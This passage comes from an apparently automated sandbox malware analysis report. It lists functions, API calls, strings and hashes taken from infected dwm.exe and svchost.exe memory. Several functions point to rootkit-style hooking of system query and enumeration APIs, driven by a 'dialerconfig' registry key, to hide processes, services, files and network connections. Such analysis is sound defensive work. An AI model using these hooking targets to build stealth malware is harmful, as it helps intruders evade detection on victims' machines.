Instruction Fuzzy Hash: D8616672B00B888AEB20DF65D88539E7BA4F748B8CF154215EF4917B9CDB3AD195C780

Function 0000026DB16E2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000026DB16E2416
StrCpyW.SHLWAPI ref: 0000026DB16E242D

Strings

\\.\pipe\, xrefs: 0000026DB16E2421

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 6081d9515b78a5451c3b01ca0690ced654a88f6cdfecc5717a5d15d63774d113
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: B851C533B0478981E6649F29E95C37A6762F389B48FC60219DD5A03B5DDA3BC545C7C0

Function 0000026DB16F26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000026DB16F2807
GetLastError.KERNEL32 ref: 0000026DB16F2829

Strings

U, xrefs: 0000026DB16F27B3

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 2ec58ab312a6c0d7bc6c490af664c8f235b82b1d44ca5cb993bdbc287e18f75c
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: CF41C672B14B8486DB20CF25E8483AA77A0F798798F524125EE4D8779CEB7DC445CB80

Function 0000026DB16E94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000026DB16E94F0
RaiseException.KERNEL32 ref: 0000026DB16E9531

Strings

csm, xrefs: 0000026DB16E951E

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: eb3548c1724dcde9df2a71e12e6636971bf1ace67d4ebaf1e65b0598e90257b4
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 60112B37A15B8482EB618B15E84435977E5FB88B98F594220EE8C0776CEF3DC551CB40

Function 0000026DB16B7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000026DB16B737C

Strings

riptor at (, xrefs: 0000026DB16B7364
ierarchy Descriptor', xrefs: 0000026DB16B7381

Memory Dump Source

Source File: 0000002D.00000002.3091701858.0000026DB16B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16b0000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: e81a0fd9307df53571b6e59f4c20a16d81c27b650d2d79f6339a629951941710
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: E2E08671B50B8890DF019F21EC442D833A4DB59B68B999122995C07315FA38D1F9C340

Function 0000026DB16B73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000026DB16B73D8

Strings

riptor at (, xrefs: 0000026DB16B73C0
Locator', xrefs: 0000026DB16B73DD

Memory Dump Source

Source File: 0000002D.00000002.3091701858.0000026DB16B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16b0000_dwm.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: f549a2e2c9ef67f85f6a1f207eef1fe50030ba0852928ba2ffb427da96e57b4b
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 4CE08671B10B4880DF019F21DC441D87364E759B58F899122C94C07315EA38D1E5C340

Function 0000026DB16E1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026DB16E1C2D
HeapAlloc.KERNEL32 ref: 0000026DB16E1C3B
GetProcessHeap.KERNEL32 ref: 0000026DB16E1C77
HeapFree.KERNEL32 ref: 0000026DB16E1C85

Part of subcall function 0000026DB16E152C: StrCmpIW.SHLWAPI ref: 0000026DB16E155D

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: a1c2de38aed7fd68c3dd603d9b4bc3b7c7c8e68a9cd9c699eb74f3e143d02837
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 67118236F01B48C1EA44DB6AE80C26973A1F789FC9F594125DE4D83769DE3AD452D380

Function 0000026DB16E1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026DB16E126E
HeapAlloc.KERNEL32 ref: 0000026DB16E127D
GetProcessHeap.KERNEL32 ref: 0000026DB16E1297
HeapAlloc.KERNEL32 ref: 0000026DB16E12A8

Memory Dump Source

Source File: 0000002D.00000002.3091758684.0000026DB16E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026DB16E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26db16e0000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 75a686c1a9a1d8f08dd2c77f67f6b0a8b1bbc4b3db12b6a12dbff55774f20d2f
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 6AE03235F01A0886EB08CB66D80834A37E1EB9AB0AF0A8024890907365DF7E8499CB90

Analysis Process: svchost.exePID: 364, Parent PID: 4620COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	81
Total number of Limit Nodes:	2

Executed Functions

Function 000002A3F0661628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002A3F0661633
HeapAlloc.KERNEL32 ref: 000002A3F0661642

Part of subcall function 000002A3F0661268: GetProcessHeap.KERNEL32 ref: 000002A3F066126E
Part of subcall function 000002A3F0661268: HeapAlloc.KERNEL32 ref: 000002A3F066127D
Part of subcall function 000002A3F0661268: GetProcessHeap.KERNEL32 ref: 000002A3F0661297
Part of subcall function 000002A3F0661268: HeapAlloc.KERNEL32 ref: 000002A3F06612A8

RegOpenKeyExW.ADVAPI32 ref: 000002A3F06616B2
RegOpenKeyExW.ADVAPI32 ref: 000002A3F06616DF
RegCloseKey.ADVAPI32 ref: 000002A3F06616F9
RegOpenKeyExW.ADVAPI32 ref: 000002A3F0661719
RegCloseKey.ADVAPI32 ref: 000002A3F0661734
RegOpenKeyExW.ADVAPI32 ref: 000002A3F0661754
RegCloseKey.ADVAPI32 ref: 000002A3F066176F
RegOpenKeyExW.ADVAPI32 ref: 000002A3F066178F
RegCloseKey.ADVAPI32 ref: 000002A3F06617AA
RegOpenKeyExW.ADVAPI32 ref: 000002A3F06617CA
RegCloseKey.ADVAPI32 ref: 000002A3F06617E5
RegOpenKeyExW.ADVAPI32 ref: 000002A3F0661805
RegCloseKey.ADVAPI32 ref: 000002A3F0661820
RegOpenKeyExW.ADVAPI32 ref: 000002A3F0661840
RegCloseKey.ADVAPI32 ref: 000002A3F066185B
RegOpenKeyExW.ADVAPI32 ref: 000002A3F066187B
RegCloseKey.ADVAPI32 ref: 000002A3F0661896
RegCloseKey.ADVAPI32 ref: 000002A3F06618A0

Part of subcall function 000002A3F06612BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002A3F0661319
Part of subcall function 000002A3F06612BC: GetProcessHeap.KERNEL32 ref: 000002A3F0661327
Part of subcall function 000002A3F06612BC: HeapAlloc.KERNEL32 ref: 000002A3F0661338
Part of subcall function 000002A3F06612BC: RegEnumValueW.ADVAPI32 ref: 000002A3F0661397
Part of subcall function 000002A3F06612BC: GetProcessHeap.KERNEL32 ref: 000002A3F06613DF
Part of subcall function 000002A3F06612BC: HeapAlloc.KERNEL32 ref: 000002A3F06613ED
Part of subcall function 000002A3F06612BC: GetProcessHeap.KERNEL32 ref: 000002A3F066140A
Part of subcall function 000002A3F06612BC: HeapFree.KERNEL32 ref: 000002A3F0661418
Part of subcall function 000002A3F06612BC: lstrlenW.KERNEL32 ref: 000002A3F0661421
Part of subcall function 000002A3F06612BC: GetProcessHeap.KERNEL32 ref: 000002A3F066142F
Part of subcall function 000002A3F06612BC: HeapAlloc.KERNEL32 ref: 000002A3F066143D

Strings

process_names, xrefs: 000002A3F066174D
udp, xrefs: 000002A3F0661874
startup, xrefs: 000002A3F06616D5
tcp_remote, xrefs: 000002A3F0661839
SOFTWARE\dialerconfig, xrefs: 000002A3F0661692
service_names, xrefs: 000002A3F06617C3
paths, xrefs: 000002A3F0661788
pid, xrefs: 000002A3F0661712
tcp_local, xrefs: 000002A3F06617FE

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: d6e49efe3d81a32690fa77fe862616ae2cfdfda5e723070bc013a806f6e0db3f
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 5E71EB26B20A508BEB90DF69EC5865D2374F7A7B88F041121F94E9BF69EE34C644C741

Function 000002A3F066328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002A3F06632AE
PathFindFileNameW.SHLWAPI ref: 000002A3F06632BD

Part of subcall function 000002A3F0663844: StrCmpNIW.SHLWAPI ref: 000002A3F066385C

Part of subcall function 000002A3F0663790: GetModuleHandleW.KERNEL32 ref: 000002A3F066379E
Part of subcall function 000002A3F0663790: GetCurrentProcess.KERNEL32 ref: 000002A3F06637CC
Part of subcall function 000002A3F0663790: VirtualProtectEx.KERNEL32 ref: 000002A3F06637EE
Part of subcall function 000002A3F0663790: GetCurrentProcess.KERNEL32 ref: 000002A3F0663809
Part of subcall function 000002A3F0663790: VirtualProtectEx.KERNEL32 ref: 000002A3F066382A

CreateThread.KERNEL32 ref: 000002A3F066330B

Part of subcall function 000002A3F0661D14: GetCurrentThread.KERNEL32 ref: 000002A3F0661D1F

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 7e9bf6ca3dc4cd1ea628d8b54d7181c9f962757dd9737672e5874ad7b75af4a2
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 53110370F306918BFAE0DB29AE4D3AD2294EB67348F504138B906D9E91FF78C2448642

Function 000002A3F0661ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002A3F0661628: GetProcessHeap.KERNEL32 ref: 000002A3F0661633
Part of subcall function 000002A3F0661628: HeapAlloc.KERNEL32 ref: 000002A3F0661642
Part of subcall function 000002A3F0661628: RegOpenKeyExW.ADVAPI32 ref: 000002A3F06616B2
Part of subcall function 000002A3F0661628: RegOpenKeyExW.ADVAPI32 ref: 000002A3F06616DF
Part of subcall function 000002A3F0661628: RegCloseKey.ADVAPI32 ref: 000002A3F06616F9
Part of subcall function 000002A3F0661628: RegOpenKeyExW.ADVAPI32 ref: 000002A3F0661719
Part of subcall function 000002A3F0661628: RegCloseKey.ADVAPI32 ref: 000002A3F0661734
Part of subcall function 000002A3F0661628: RegOpenKeyExW.ADVAPI32 ref: 000002A3F0661754
Part of subcall function 000002A3F0661628: RegCloseKey.ADVAPI32 ref: 000002A3F066176F
Part of subcall function 000002A3F0661628: RegOpenKeyExW.ADVAPI32 ref: 000002A3F066178F
Part of subcall function 000002A3F0661628: RegCloseKey.ADVAPI32 ref: 000002A3F06617AA
Part of subcall function 000002A3F0661628: RegOpenKeyExW.ADVAPI32 ref: 000002A3F06617CA

Sleep.KERNEL32 ref: 000002A3F0661AD7
SleepEx.KERNELBASE ref: 000002A3F0661ADD

Part of subcall function 000002A3F0661628: RegCloseKey.ADVAPI32 ref: 000002A3F06617E5
Part of subcall function 000002A3F0661628: RegOpenKeyExW.ADVAPI32 ref: 000002A3F0661805
Part of subcall function 000002A3F0661628: RegCloseKey.ADVAPI32 ref: 000002A3F0661820
Part of subcall function 000002A3F0661628: RegOpenKeyExW.ADVAPI32 ref: 000002A3F0661840
Part of subcall function 000002A3F0661628: RegCloseKey.ADVAPI32 ref: 000002A3F066185B
Part of subcall function 000002A3F0661628: RegOpenKeyExW.ADVAPI32 ref: 000002A3F066187B
Part of subcall function 000002A3F0661628: RegCloseKey.ADVAPI32 ref: 000002A3F0661896
Part of subcall function 000002A3F0661628: RegCloseKey.ADVAPI32 ref: 000002A3F06618A0

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 18493aa65fc7477a11afd4ac97f0363bec50394c762ef9b304816d61159171c0
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 6631B451B205414BEFD0DB2ADE6936D53A4EBA7BC4F0C5431AE0ACFA95FE34C6518212

Function 000002A3EFFC273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002A3EFFC285E

Memory Dump Source

Source File: 0000002E.00000002.3039339786.000002A3EFFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3EFFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3effc0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 0f6afa320c4a75fa81fbb62ff1d4a206d0eb164a0ac9f5765956537095b3a2cd
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 10613432B012A087DB68CF15C60872D7392FB95BA4F188123EE5983BC8DE78D953D709

Non-executed Functions

Function 000002A3F0662B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002A3F0662BD0
lstrlenW.KERNEL32 ref: 000002A3F0662E0A

Part of subcall function 000002A3F066199C: OpenProcess.KERNEL32 ref: 000002A3F06619C2
Part of subcall function 000002A3F066199C: K32GetModuleFileNameExW.KERNEL32 ref: 000002A3F06619E0
Part of subcall function 000002A3F066199C: PathFindFileNameW.SHLWAPI ref: 000002A3F06619EF
Part of subcall function 000002A3F066199C: lstrlenW.KERNEL32 ref: 000002A3F06619FB
Part of subcall function 000002A3F066199C: StrCpyW.SHLWAPI ref: 000002A3F0661A0E
Part of subcall function 000002A3F066199C: CloseHandle.KERNEL32 ref: 000002A3F0661A1C

GetProcAddress.KERNEL32 ref: 000002A3F0662BE5

Part of subcall function 000002A3F066152C: StrCmpIW.SHLWAPI ref: 000002A3F066155D

Part of subcall function 000002A3F0663844: StrCmpNIW.SHLWAPI ref: 000002A3F066385C

StrCmpNIW.SHLWAPI ref: 000002A3F0662C28
lstrlenW.KERNEL32 ref: 000002A3F0662D50

Strings

\Device\Nsi, xrefs: 000002A3F0662C1B
ntdll.dll, xrefs: 000002A3F0662BC9
NtQueryObject, xrefs: 000002A3F0662BDB

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: e7264185e6627ca7a152c45ea673191d5828ce264668469caef4e6d9760e183d
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 1CB17161B20A528BEBD4CF29D85876D63A4FB67B88F045035F9499BF94EE35CA40C341

Function 000002A3F0667D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002A3F0667DAC
RtlCaptureContext.NTDLL ref: 000002A3F0667DD9
RtlLookupFunctionEntry.NTDLL ref: 000002A3F0667DF3
RtlVirtualUnwind.NTDLL ref: 000002A3F0667E34
IsDebuggerPresent.KERNEL32 ref: 000002A3F0667E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A3F0667EA9
UnhandledExceptionFilter.KERNEL32 ref: 000002A3F0667EB4

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 8a2399726a7e03ffd8de5c654530bf9e493a26281a99b78894901c300c8f31c7
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 7A315E72725B808AEBA0DF64E8543ED7360F796744F44443AEA4D87B95EF38C648C711

Function 000002A3F066D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002A3F066D31D
RtlLookupFunctionEntry.NTDLL ref: 000002A3F066D335
RtlVirtualUnwind.NTDLL ref: 000002A3F066D370
IsDebuggerPresent.KERNEL32 ref: 000002A3F066D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A3F066D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002A3F066D3BE

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 4648a46d89f0ed24374a6d89c06c8292b8bddab6eb90024b74db4ccdf504cc36
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 04315D32B24B808ADBA0CB29E8443AE73A4F79A754F500125FA9D87B55EF38C245CB01

Function 000002A3F06612BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A3F0661319
GetProcessHeap.KERNEL32 ref: 000002A3F0661327
HeapAlloc.KERNEL32 ref: 000002A3F0661338
RegEnumValueW.ADVAPI32 ref: 000002A3F0661397

Part of subcall function 000002A3F066152C: StrCmpIW.SHLWAPI ref: 000002A3F066155D

GetProcessHeap.KERNEL32 ref: 000002A3F06613DF
HeapAlloc.KERNEL32 ref: 000002A3F06613ED
GetProcessHeap.KERNEL32 ref: 000002A3F066140A
HeapFree.KERNEL32 ref: 000002A3F0661418
lstrlenW.KERNEL32 ref: 000002A3F0661421
GetProcessHeap.KERNEL32 ref: 000002A3F066142F
HeapAlloc.KERNEL32 ref: 000002A3F066143D
StrCpyW.SHLWAPI ref: 000002A3F066145F
GetProcessHeap.KERNEL32 ref: 000002A3F0661476
HeapFree.KERNEL32 ref: 000002A3F0661484

Strings

d, xrefs: 000002A3F066135A

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 6d6c9081a9e9c9d4ad7192b94bb72c94a9a7c429cca7302e1de0babd91853f21
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: A2516E32B10B848BEB94CF6AE94C35A77A1F79AB99F444134EA494BB18EF3CC145C701

Function 000002A3F0661D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002A3F0661D1F

Part of subcall function 000002A3F0661FD4: GetModuleHandleA.KERNEL32 ref: 000002A3F0661FEC
Part of subcall function 000002A3F0661FD4: GetProcAddress.KERNEL32 ref: 000002A3F0661FFD

Part of subcall function 000002A3F0665B30: GetCurrentThreadId.KERNEL32 ref: 000002A3F0665B6B

Strings

NtQueryDirectoryFile, xrefs: 000002A3F0661D7F
NtResumeThread, xrefs: 000002A3F0661D62
NtQueryDirectoryFileEx, xrefs: 000002A3F0661D9C
advapi32.dll, xrefs: 000002A3F0661DF7, 000002A3F0661E18
EnumServiceGroupW, xrefs: 000002A3F0661DF0
ntdll.dll, xrefs: 000002A3F0661D2D
NtEnumerateValueKey, xrefs: 000002A3F0661DD6
NtDeviceIoControlFile, xrefs: 000002A3F0661E56
NtQuerySystemInformation, xrefs: 000002A3F0661D45
sechost.dll, xrefs: 000002A3F0661E39
NtEnumerateKey, xrefs: 000002A3F0661DB9
EnumServicesStatusExW, xrefs: 000002A3F0661E11, 000002A3F0661E32

Memory Dump Source

Source File: 0000002E.00000002.3045453060.000002A3F0660000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3F0660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3f0660000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: f24ac17cebfaa1330c927da688690566a7c830514d95f9ff872cdd76f91d0775
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 3531B9A4F30947ABEAC1DB5DED596E82360FB23748F840533B4099AD61FE788349C352

Function 000002A3EFFC6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A3EFFC6938
__scrt_acquire_startup_lock.LIBCMT ref: 000002A3EFFC698A
_RTC_Initialize.LIBCMT ref: 000002A3EFFC69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A3EFFC69DE
__scrt_release_startup_lock.LIBCMT ref: 000002A3EFFC6A09

Strings

`dynamic initializer for ', xrefs: 000002A3EFFC69C7
scriptor', xrefs: 000002A3EFFC6B39, 000002A3EFFC6BB2, 000002A3EFFC6BEC
`eh vector vbase copy constructor iterator', xrefs: 000002A3EFFC69EE
`eh vector copy constructor iterator', xrefs: 000002A3EFFC6A3B

Memory Dump Source

Source File: 0000002E.00000002.3039339786.000002A3EFFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A3EFFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_2a3effc0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: dc9269e48c0f5cace3bc677973e2ab88cdbd6d3f94d8d7241233d29b055281a4
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: C581022170826187FB54EB6597483992290EF87B80F588027BA0DC7796DFF9CB47830B

Function 000002A3F066CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000002A3F066CE37
FlsGetValue.KERNEL32(?,?,?,000002A3F0670A6B,?,?,?,000002A3F067045C,?,?,?,000002A3F066C84F), ref: 000002A3F066CE4C
FlsSetValue.KERNEL32(?,?,?,000002A3F0670A6B,?,?,?,000002A3F067045C,?,?,?,000002A3F066C84F), ref: 000002A3F066CE6D
FlsSetValue.KERNEL32(?,?,?,000002A3F0670A6B,?,?,?,000002A3F067045C,?,?,?,000002A3F066C84F), ref: 000002A3F066CE9A
